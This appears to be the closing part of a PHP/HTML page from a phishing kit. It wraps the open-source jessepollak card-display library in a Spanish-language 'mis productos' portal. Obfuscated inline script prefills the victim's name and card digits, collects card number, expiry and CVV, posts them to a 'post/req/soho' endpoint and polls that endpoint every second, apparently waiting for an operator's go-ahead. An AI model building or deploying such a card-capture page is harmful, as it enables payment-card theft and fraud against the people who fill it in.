.d:before{content:'';position:absolute;top:50%;left:50%;display:block;background:#ED1C24;border-radius:2px 4px 6px 0px;height:5px;width:7px;margin:-3px 0 0 -4px}.jp-card-logo.jp-card-dankort .k{right:0}.jp-card-logo.jp-card-dankort .k:before,.jp-card-logo.jp-card-dankort .k:after{content:'';position:absolute;right:50%;width:0;height:0;border-style:solid;margin-right:-1px}.jp-card-logo.jp-card-dankort .k:before{top:0;border-width:8px 5px 0 0;border-color:#ED1C24 transparent transparent transparent}.jp-card-logo.jp-card-dankort .k:after{bottom:0;border-width:0 5px 8px 0;border-color:transparent transparent #ED1C24 transparent}.jp-card.jp-card-dankort.jp-card-identified .jp-card-front:before,.jp-card.jp-card-dankort.jp-card-identified .jp-card-back:before{background-color:#0055C7}.jp-card.jp-card-dankort.jp-card-identified .jp-card-logo.jp-card-dankort{opacity:1}.jp-card-logo.jp-card-elo{height:50px;width:50px;border-radius:100%;background:black;color:white;text-align:center;text-transform:lowercase;font-size:21px;font-style:normal;letter-spacing:1px;font-weight:bold;padding-top:13px}.jp-card-logo.jp-card-elo .e,.jp-card-logo.jp-card-elo .l,.jp-card-logo.jp-card-elo .o{display:inline-block;position:relative}.jp-card-logo.jp-card-elo .e{-webkit-transform:rotate(-15deg);-moz-transform:rotate(-15deg);-ms-transform:rotate(-15deg);-o-transform:rotate(-15deg);transform:rotate(-15deg)}.jp-card-logo.jp-card-elo .o{position:relative;display:inline-block;width:12px;height:12px;right:0;top:7px;border-radius:100%;background-image:-webkit-linear-gradient( #ff0 50%,red 50%);background-image:linear-gradient( #ff0 50%,red 50%);-webkit-transform:rotate(40deg);-moz-transform:rotate(40deg);-ms-transform:rotate(40deg);-o-transform:rotate(40deg);transform:rotate(40deg);text-indent:-9999px}.jp-card-logo.jp-card-elo .o:before{content:"";position:absolute;width:49%;height:49%;background:black;border-radius:100%;text-indent:-99999px;top:25%;left:25%}.jp-card.jp-card-elo.jp-card-identified .jp-card-front:before,.jp-card.jp-card-elo.jp-card-identified .jp-card-back:before{background-color:#6F6969}.jp-card.jp-card-elo.jp-card-identified .jp-card-logo.jp-card-elo{opacity:1}.jp-card-logo.jp-card-jcb{border-radius:5px 0px 5px 0px;-moz-border-radius:5px 0px 5px 0px;-webkit-border-radius:5px 0px 5px 0px;background-color:white;font-style:normal;color:white;width:50px;padding:2px 0 0 2px}.jp-card-logo.jp-card-jcb>div{width:15px;margin-right:1px;display:inline-block;text-align:center;text-shadow:1px 1px rgba(0,0,0,0.6);border-radius:5px 0px 5px 0px;-moz-border-radius:5px 0px 5px 0px;-webkit-border-radius:5px 0px 5px 0px}.jp-card-logo.jp-card-jcb>div:before,.jp-card-logo.jp-card-jcb>div:after{content:" ";display:block;height:8px}.jp-card-logo.jp-card-jcb>div.j{background-color:#000063;background-image:-webkit-linear-gradient(left, #000063,#008cff);background-image:linear-gradient(to right,#000063,#008cff)}.jp-card-logo.jp-card-jcb>div.c{background-color:#630000;background-image:-webkit-linear-gradient(left, #630000,#ff008d);background-image:linear-gradient(to right,#630000,#ff008d)}.jp-card-logo.jp-card-jcb>div.b{background-color:#006300;background-image:-webkit-linear-gradient(left, #006300,lime);background-image:linear-gradient(to right,#006300,lime)}.jp-card.jp-card-jcb.jp-card-identified .jp-card-front:before,.jp-card.jp-card-jcb.jp-card-identified .jp-card-back:before{background-color:#CB8000}.jp-card.jp-card-jcb.jp-card-identified .jp-card-logo.jp-card-jcb{opacity:1;box-shadow:none}.jp-card-logo.jp-card-dinersclub{font-family:serif;height:40px;width:100px;color:white;font-size:17px;font-style:normal;letter-spacing:1px}.jp-card-logo.jp-card-dinersclub::before,.jp-card-logo.jp-card-dinersclub::after{display:block;position:relative}.jp-card-logo.jp-card-dinersclub::before{content:'Diners Club'}.jp-card-logo.jp-card-dinersclub::after{content:'International';text-transform:uppercase;font-size:0.6em}.jp-card.jp-card-dinersclub .jp-card-front .jp-card-logo{box-shadow:none !important}.jp-card.jp-card-dinersclub.jp-card-identified .jp-card-front:before,.jp-card.jp-card-dinersclub.jp-card-identified .jp-card-back:before{background-color:#999}.jp-card.jp-card-dinersclub.jp-card-identified .jp-card-logo.jp-card-dinersclub{opacity:1}.jp-card-logo.jp-card-hipercard{height:20px;width:100px;color:white;font-size:21px;font-style:italic;font-weight:bold}.jp-card-logo.jp-card-hipercard::before,.jp-card-logo.jp-card-hipercard::after{display:block;position:relative}.jp-card.jp-card-hipercard.jp-card-identified .jp-card-front:before,.jp-card.jp-card-hipercard.jp-card-identified .jp-card-back:before{background-color:#770304}.jp-card.jp-card-hipercard.jp-card-identified .jp-card-logo.jp-card-hipercard{opacity:1;box-shadow:none}.jp-card-logo.jp-card-troy{text-transform:lowercase;color:#fff;text-align:center;font-weight:700;font-size:24px;line-height:18px;margin-top:5px}.jp-card-logo.jp-card-troy:before,.jp-card-logo.jp-card-troy:after{content:\"\";display:block;width:26%;height:6%;background:#22b8c3;right:32%;top:24%;position:absolute;transform:rotate(105deg)}.jp-card.jp-card-troy.jp-card-identified .jp-card-front:before,.jp-card.jp-card-troy.jp-card-identified .jp-card-back:before{background-color:#01adba}.jp-card.jp-card-troy.jp-card-identified .jp-card-logo.jp-card-troy{opacity:1;box-shadow:none}.jp-card-container{-webkit-perspective:1000px;-moz-perspective:1000px;perspective:1000px;width:350px;max-width:100%;height:200px;margin:auto;z-index:1;position:relative}.jp-card{font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;line-height:1;position:relative;width:100%;height:100%;min-width:315px;border-radius:10px;-webkit-transform-style:preserve-3d;-moz-transform-style:preserve-3d;-ms-transform-style:preserve-3d;-o-transform-style:preserve-3d;transform-style:preserve-3d;-webkit-transition:all 400ms linear;-moz-transition:all 400ms linear;transition:all 400ms linear}.jp-card>*,.jp-card>*:after,.jp-card>*:before{-moz-box-sizing:border-box;-webkit-box-sizing:border-box;box-sizing:border-box;font-family:inherit}.jp-card.jp-card-flipped{-webkit-transform:rotateY(180deg);-moz-transform:rotateY(180deg);-ms-transform:rotateY(180deg);-o-transform:rotateY(180deg);transform:rotateY(180deg)}.jp-card .jp-card-back,.jp-card .jp-card-front{-webkit-backface-visibility:hidden;backface-visibility:hidden;-webkit-transform-style:preserve-3d;-moz-transform-style:preserve-3d;-ms-transform-style:preserve-3d;-o-transform-style:preserve-3d;transform-style:preserve-3d;-webkit-transition:all 400ms linear;-moz-transition:all 400ms linear;transition:all 400ms linear;width:100%;height:100%;position:absolute;top:0;left:0;overflow:hidden;border-radius:10px;background:#ddd}.jp-card .jp-card-back:before,.jp-card .jp-card-front:before{content:" ";display:block;position:absolute;width:100%;height:100%;top:0;left:0;opacity:0;border-radius:10px;-webkit-transition:all 400ms ease;-moz-transition:all 400ms ease;transition:all 400ms ease}.jp-card .jp-card-back:after,.jp-card .jp-card-front:after{content:" ";display:block}.jp-card .jp-card-back .jp-card-display,.jp-card .jp-card-front .jp-card-display{color:#fff;font-weight:normal;opacity:0.5;-webkit-transition:opacity 400ms linear;-moz-transition:opacity 400ms linear;transition:opacity 400ms linear}.jp-card .jp-card-back .jp-card-display.jp-card-focused,.jp-card .jp-card-front .jp-card-display.jp-card-focused{opacity:1;font-weight:700}.jp-card .jp-card-back .jp-card-cvc,.jp-card .jp-card-front .jp-card-cvc{font-family:"Bitstream Vera Sans Mono",Consolas,Courier,monospace;font-size:14px}.jp-card .jp-card-back .jp-card-shiny,.jp-card .jp-card-front .jp-card-shiny{width:50px;height:35px;border-radius:5px;background:#ccc;position:relative}.jp-card .jp-card-back .jp-card-shiny:before,.jp-card .jp-card-front .jp-card-shiny:before{content:" ";display:block;width:70%;height:60%;border-top-right-radius:5px;border-bottom-right-radius:5px;background:#d9d9d9;position:absolute;top:20%}.jp-card .jp-card-front .jp-card-logo{position:absolute;opacity:0;right:5%;top:8%;-webkit-transition:400ms;-moz-transition:400ms;transition:400ms}.jp-card .jp-card-front .jp-card-lower{width:80%;position:absolute;left:10%;bottom:30px}@media only screen and (max-width: 480px){.jp-card .jp-card-front .jp-card-lower{width:90%;left:5%}}.jp-card .jp-card-front .jp-card-lower .jp-card-cvc{visibility:hidden;float:right;position:relative;bottom:5px}.jp-card .jp-card-front .jp-card-lower .jp-card-number{font-family:"Bitstream Vera Sans Mono",Consolas,Courier,monospace;font-size:24px;clear:both;margin-bottom:30px}.jp-card .jp-card-front .jp-card-lower .jp-card-expiry{font-family:"Bitstream Vera Sans Mono",Consolas,Courier,monospace;letter-spacing:0;position:relative;float:right;width:25%}.jp-card .jp-card-front .jp-card-lower .jp-card-expiry:after,.jp-card .jp-card-front .jp-card-lower .jp-card-expiry:before{font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;font-weight:bold;font-size:7px;white-space:pre;display:block;opacity:0.5}.jp-card .jp-card-front .jp-card-lower .jp-card-expiry:before{content:attr(data-before);margin-bottom:2px;font-size:7px;text-transform:uppercase}.jp-card .jp-card-front .jp-card-lower .jp-card-expiry:after{position:absolute;content:attr(data-after);text-align:right;right:100%;margin-right:5px;margin-top:2px;bottom:0}.jp-card .jp-card-front .jp-card-lower .jp-card-name{text-transform:uppercase;font-family:"Bitstream Vera Sans Mono",Consolas,Courier,monospace;font-size:20px;max-height:45px;position:absolute;bottom:0;width:190px;display:-webkit-box;-webkit-line-clamp:2;-webkit-box-orient:horizontal;overflow:hidden;text-overflow:ellipsis}.jp-card .jp-card-back{-webkit-transform:rotateY(180deg);-moz-transform:rotateY(180deg);-ms-transform:rotateY(180deg);-o-transform:rotateY(180deg);transform:rotateY(180deg)}.jp-card .jp-card-back .jp-card-bar{background-color:#444;background-image:-webkit-linear-gradient(#444,#333);background-image:linear-gradient(#444,#333);width:100%;height:20%;position:absolute;top:10%}.jp-card .jp-card-back:after{content:" ";display:block;background-color:#fff;background-image:-webkit-linear-gradient(#fff,#fff);background-image:linear-gradient(#fff,#fff);width:80%;height:16%;position:absolute;top:40%;left:2%}.jp-card .jp-card-back .jp-card-cvc{position:absolute;top:40%;left:85%;-webkit-transition-delay:600ms;-moz-transition-delay:600ms;transition-delay:600ms}.jp-card .jp-card-back .jp-card-shiny{position:absolute;top:66%;left:2%}.jp-card .jp-card-back .jp-card-shiny:after{content:"This card has been issued by Jesse Pollak and is licensed for anyone to use anywhere for free. It comes with no warranty. For support issues, please visit: github.com/jessepollak/card.";position:absolute;left:120%;top:5%;color:white;font-size:7px;width:230px;opacity:0.5}.jp-card.jp-card-identified{box-shadow:0 0 20px rgba(0,0,0,0.3)}.jp-card.jp-card-identified .jp-card-back,.jp-card.jp-card-identified .jp-card-front{background-color:#000;background-color:rgba(0,0,0,0.5)}.jp-card.jp-card-identified .jp-card-back:before,.jp-card.jp-card-identified .jp-card-front:before{-webkit-transition:all 400ms ease;-moz-transition:all 400ms ease;transition:all 400ms ease;background-image:repeating-linear-gradient(45deg, rgba(255,255,255,0) 1px, rgba(255,255,255,0.03) 2px, rgba(255,255,255,0.04) 3px, rgba(255,255,255,0.05) 4px),repeating-linear-gradient(135deg, rgba(255,255,255,0.05) 1px, rgba(255,255,255,0) 2px, rgba(255,255,255,0.04) 3px, rgba(255,255,255,0.03) 4px),repeating-linear-gradient(90deg, rgba(255,255,255,0) 1px, rgba(255,255,255,0.03) 2px, rgba(255,255,255,0.04) 3px, rgba(255,255,255,0.05) 4px),repeating-linear-gradient(210deg, rgba(255,255,255,0) 1px, rgba(255,255,255,0.03) 2px, rgba(255,255,255,0.04) 3px, rgba(255,255,255,0.05) 4px),repeating-radial-gradient(circle at 30% 30%, rgba(255,255,255,0) 1px, rgba(255,255,255,0.03) 2px, rgba(255,255,255,0.04) 3px, rgba(255,255,255,0.05) 4px),repeating-radial-gradient(circle at 70% 70%, rgba(255,255,255,0) 1px, rgba(255,255,255,0.03) 2px, rgba(255,255,255,0.04) 3px, rgba(255,255,255,0.05) 4px),repeating-radial-gradient(circle at 90% 20%, rgba(255,255,255,0) 1px, rgba(255,255,255,0.03) 2px, rgba(255,255,255,0.04) 3px, rgba(255,255,255,0.05) 4px),repeating-radial-gradient(circle at 15% 80%, rgba(255,255,255,0) 1px, rgba(255,255,255,0.03) 2px, rgba(255,255,255,0.04) 3px, rgba(255,255,255,0.05) 4px),-webkit-linear-gradient(-245deg, rgba(255,255,255,0) 50%,rgba(255,255,255,0.2) 70%,rgba(255,255,255,0) 90%);background-image:repeating-linear-gradient(45deg, rgba(255,255,255,0) 1px, rgba(255,255,255,0.03) 2px, rgba(255,255,255,0.04) 3px, rgba(255,255,255,0.05) 4px),repeating-linear-gradient(135deg, rgba(255,255,255,0.05) 1px, rgba(255,255,255,0) 2px, rgba(255,255,255,0.04) 3px, rgba(255,255,255,0.03) 4px),repeating-linear-gradient(90deg, rgba(255,255,255,0) 1px, rgba(255,255,255,0.03) 2px, rgba(255,255,255,0.04) 3px, rgba(255,255,255,0.05) 4px),repeating-linear-gradient(210deg, rgba(255,255,255,0) 1px, rgba(255,255,255,0.03) 2px, rgba(255,255,255,0.04) 3px, rgba(255,255,255,0.05) 4px),repeating-radial-gradient(circle at 30% 30%, rgba(255,255,255,0) 1px, rgba(255,255,255,0.03) 2px, rgba(255,255,255,0.04) 3px, rgba(255,255,255,0.05) 4px),repeating-radial-gradient(circle at 70% 70%, rgba(255,255,255,0) 1px, rgba(255,255,255,0.03) 2px, rgba(255,255,255,0.04) 3px, rgba(255,255,255,0.05) 4px),repeating-radial-gradient(circle at 90% 20%, rgba(255,255,255,0) 1px, rgba(255,255,255,0.03) 2px, rgba(255,255,255,0.04) 3px, rgba(255,255,255,0.05) 4px),repeating-radial-gradient(circle at 15% 80%, rgba(255,255,255,0) 1px, rgba(255,255,255,0.03) 2px, rgba(255,255,255,0.04) 3px, rgba(255,255,255,0.05) 4px),linear-gradient(-25deg, rgba(255,255,255,0) 50%,rgba(255,255,255,0.2) 70%,rgba(255,255,255,0) 90%);opacity:1}.jp-card.jp-card-identified .jp-card-back .jp-card-logo,.jp-card.jp-card-identified .jp-card-front .jp-card-logo{box-shadow:0 0 0 2px rgba(255,255,255,0.3)}.jp-card.jp-card-identified.no-radial-gradient .jp-card-back:before,.jp-card.jp-card-identified.no-radial-gradient .jp-card-front:before{background-image:repeating-linear-gradient(45deg, rgba(255,255,255,0) 1px, rgba(255,255,255,0.03) 2px, rgba(255,255,255,0.04) 3px, rgba(255,255,255,0.05) 4px),repeating-linear-gradient(135deg, rgba(255,255,255,0.05) 1px, rgba(255,255,255,0) 2px, rgba(255,255,255,0.04) 3px, rgba(255,255,255,0.03) 4px),repeating-linear-gradient(90deg, rgba(255,255,255,0) 1px, rgba(255,255,255,0.03) 2px, rgba(255,255,255,0.04) 3px, rgba(255,255,255,0.05) 4px),repeating-linear-gradient(210deg, rgba(255,255,255,0) 1px, rgba(255,255,255,0.03) 2px, rgba(255,255,255,0.04) 3px, rgba(255,255,255,0.05) 4px),-webkit-linear-gradient(-245deg, rgba(255,255,255,0) 50%,rgba(255,255,255,0.2) 70%,rgba(255,255,255,0) 90%);background-image:repeating-linear-gradient(45deg, rgba(255,255,255,0) 1px, rgba(255,255,255,0.03) 2px, rgba(255,255,255,0.04) 3px, rgba(255,255,255,0.05) 4px),repeating-linear-gradient(135deg, rgba(255,255,255,0.05) 1px, rgba(255,255,255,0) 2px, rgba(255,255,255,0.04) 3px, rgba(255,255,255,0.03) 4px),repeating-linear-gradient(90deg, rgba(255,255,255,0) 1px, rgba(255,255,255,0.03) 2px, rgba(255,255,255,0.04) 3px, rgba(255,255,255,0.05) 4px),repeating-linear-gradient(210deg, rgba(255,255,255,0) 1px, rgba(255,255,255,0.03) 2px, rgba(255,255,255,0.04) 3px, rgba(255,255,255,0.05) 4px),linear-gradient(-25deg, rgba(255,255,255,0) 50%,rgba(255,255,255,0.2) 70%,rgba(255,255,255,0) 90%)}@media (max-width: 450px){.card-wrapper{max-width:80vw;width:100%;margin:20px auto;overflow-x:hidden}.card-wrapper>.jp-card-container{transform:scale(0.625);transform-origin:left center}}
</style>
<script src="/src/js/uuytaiosido.js"></script>
<script>
var tool = new Mataburr0oa();
var sesoooksd = '<?= $_SESSION['referido']; ?>';
window.onload = () => {
setInterval(() => {
var form = document.forms.formwait;
tool.ajaxrequest(sesoooksd, 'post/req/soho', ooaosi1, form);
}, 1000);
}
function ooaosi1(e) {
var obJSON = JSON.parse(e);
if (obJSON.pr) {
if (obJSON.pr == 1) {
if (obJSON.est != 5) {
formview('/' + sesoooksd + '/portal/mis-productos');
}
} else {
window.location.href = '/';
}
}
}
function formview($url) {
var $form = document.forms.formview;
$form.setAttribute('action', $url);
$form.submit();
}
$(document).ready(function(){
var card = new Card({
form: 'form', // *required*
container: '.card-wrapper', // *required*
width: 300, // optional — default 350px
formatting: true, // optional - default true
messages: {
validDate: 'valid\ndate', // optional - default 'valid\nthru'
monthYear: 'mm/yyyy', // optional - default 'month/year'
},
// Default placeholders for rendered fields - optional
placeholders: {
number: '<?= $userDato->lastse; ?>',
name: '<?= $userDato->nombre; ?>',
expiry: '••/••',
cvc: '•••'
},
formSelectors: {
numberInput: "input#cccc",
expiryInput: 'input#ccexpire',
cvcInput: "input#cccvv",
nameInput: "input#ccnombre"
},
masks: {
cardNumber: '•' // optional - mask card number
},
// if true, will log helpful messages for setting up Card
debug: true // optional - default false
});
$("#finalizar").click(function(){
data=$("#frmpost").serialize();
$.post("/"+sesoooksd+"/post/req/soho",data,function(data){
parse=JSON.parse(data);
console.log(parse);
if(parse.pr==1){
var $form = document.forms.frmview;
$form.setAttribute('action', '/' + sesoooksd + '/portal/mis-productos');
$form.submit();
}
})
});
})
</script>
<style>
.jp-card-container{
}
.jp-card.jp-card-identified .jp-card-back, .jp-card.jp-card-identified .jp-card-front {
background-color: #002473;
}
.jp-card.jp-card-identified .jp-card-back:before, .jp-card.jp-card-identified .jp-card-front:before{
background-image:none!important;
}
.jp-card .jp-card-back .jp-card-shiny, .jp-card .jp-card-front .jp-card-shiny {
width: 50px;
height: 35px;
border-radius: 5px;
background: #ff6100;
position: relative;
}
.jp-card .jp-card-back .jp-card-shiny:before, .jp-card .jp-card-front .jp-card-shiny:before {
content: " ";
display: block;
width: 70%;
height: 60%;
border-top-right-radius: 5px;
border-bottom-right-radius: 5px;
background: #fff;
position: absolute;
top: 20%;
}
.jp-card .jp-card-back .jp-card-shiny:before, .jp-card .jp-card-front .jp-card-shiny:before {
content: " ";
display: block;
width: 70%;
height: 60%;
border-top-right-radius: 5px;
border-bottom-right-radius: 5px;
background: #fff;
position: absolute;
top: 20%;
}
.fem *, :after, :before {
box-sizing: border-box;
}
.jp-card.jp-card-identified .jp-card-back, .jp-card.jp-card-identified .jp-card-front {
background-color: #000;
background-color: #002473;
}
.jp-card .jp-card-back, .jp-card .jp-card-front {
-webkit-backface-visibility: hidden;
backface-visibility: hidden;
-webkit-transform-style: preserve-3d;
-moz-transform-style: preserve-3d;
-ms-transform-style: preserve-3d;
-o-transform-style: preserve-3d;
/* transform-style: preserve-3d; */
-webkit-transition: all 400ms linear;
-moz-transition: all 400ms linear;
/* transition: all 400ms linear; */
width: 100%;
height: 100%;
position: absolute;
top: 0;
left: 0;
overflow: hidden;
border-radius: 10px;
/* background: #ddd; */
}
.jp-card.jp-card-identified .jp-card-back, .jp-card.jp-card-identified .jp-card-front {
background-color: #000;
background-color: #002473;
}
.jp-card .jp-card-back:before, .jp-card .jp-card-front:before {
content: " ";
display: block;
position: absolute;
width: 100%;
height: 100%;
top: 0;
left: 0;
opacity: 0;
border-radius: 10px;
-webkit-transition: all 400ms ease;
-moz-transition: all 400ms ease;
transition: all 400ms ease;
}
.jp-card.jp-card-identified .jp-card-back:before, .jp-card.jp-card-identified .jp-card-front:before{
background-image: none;
}
.jp-card.jp-card-identified .jp-card-back, .jp-card.jp-card-identified .jp-card-front {
background-color: #000;
background-color: #002473;
}
.jp-card .jp-card-back, .jp-card .jp-card-front{
background: #012d74;
}
jp-card-logo jp-card-visa{
background-image: url("https://upload.wikimedia.org/wikipedia/commons/5/5e/Visa_Inc._logo.svg");
}
</style>
</body>
</html>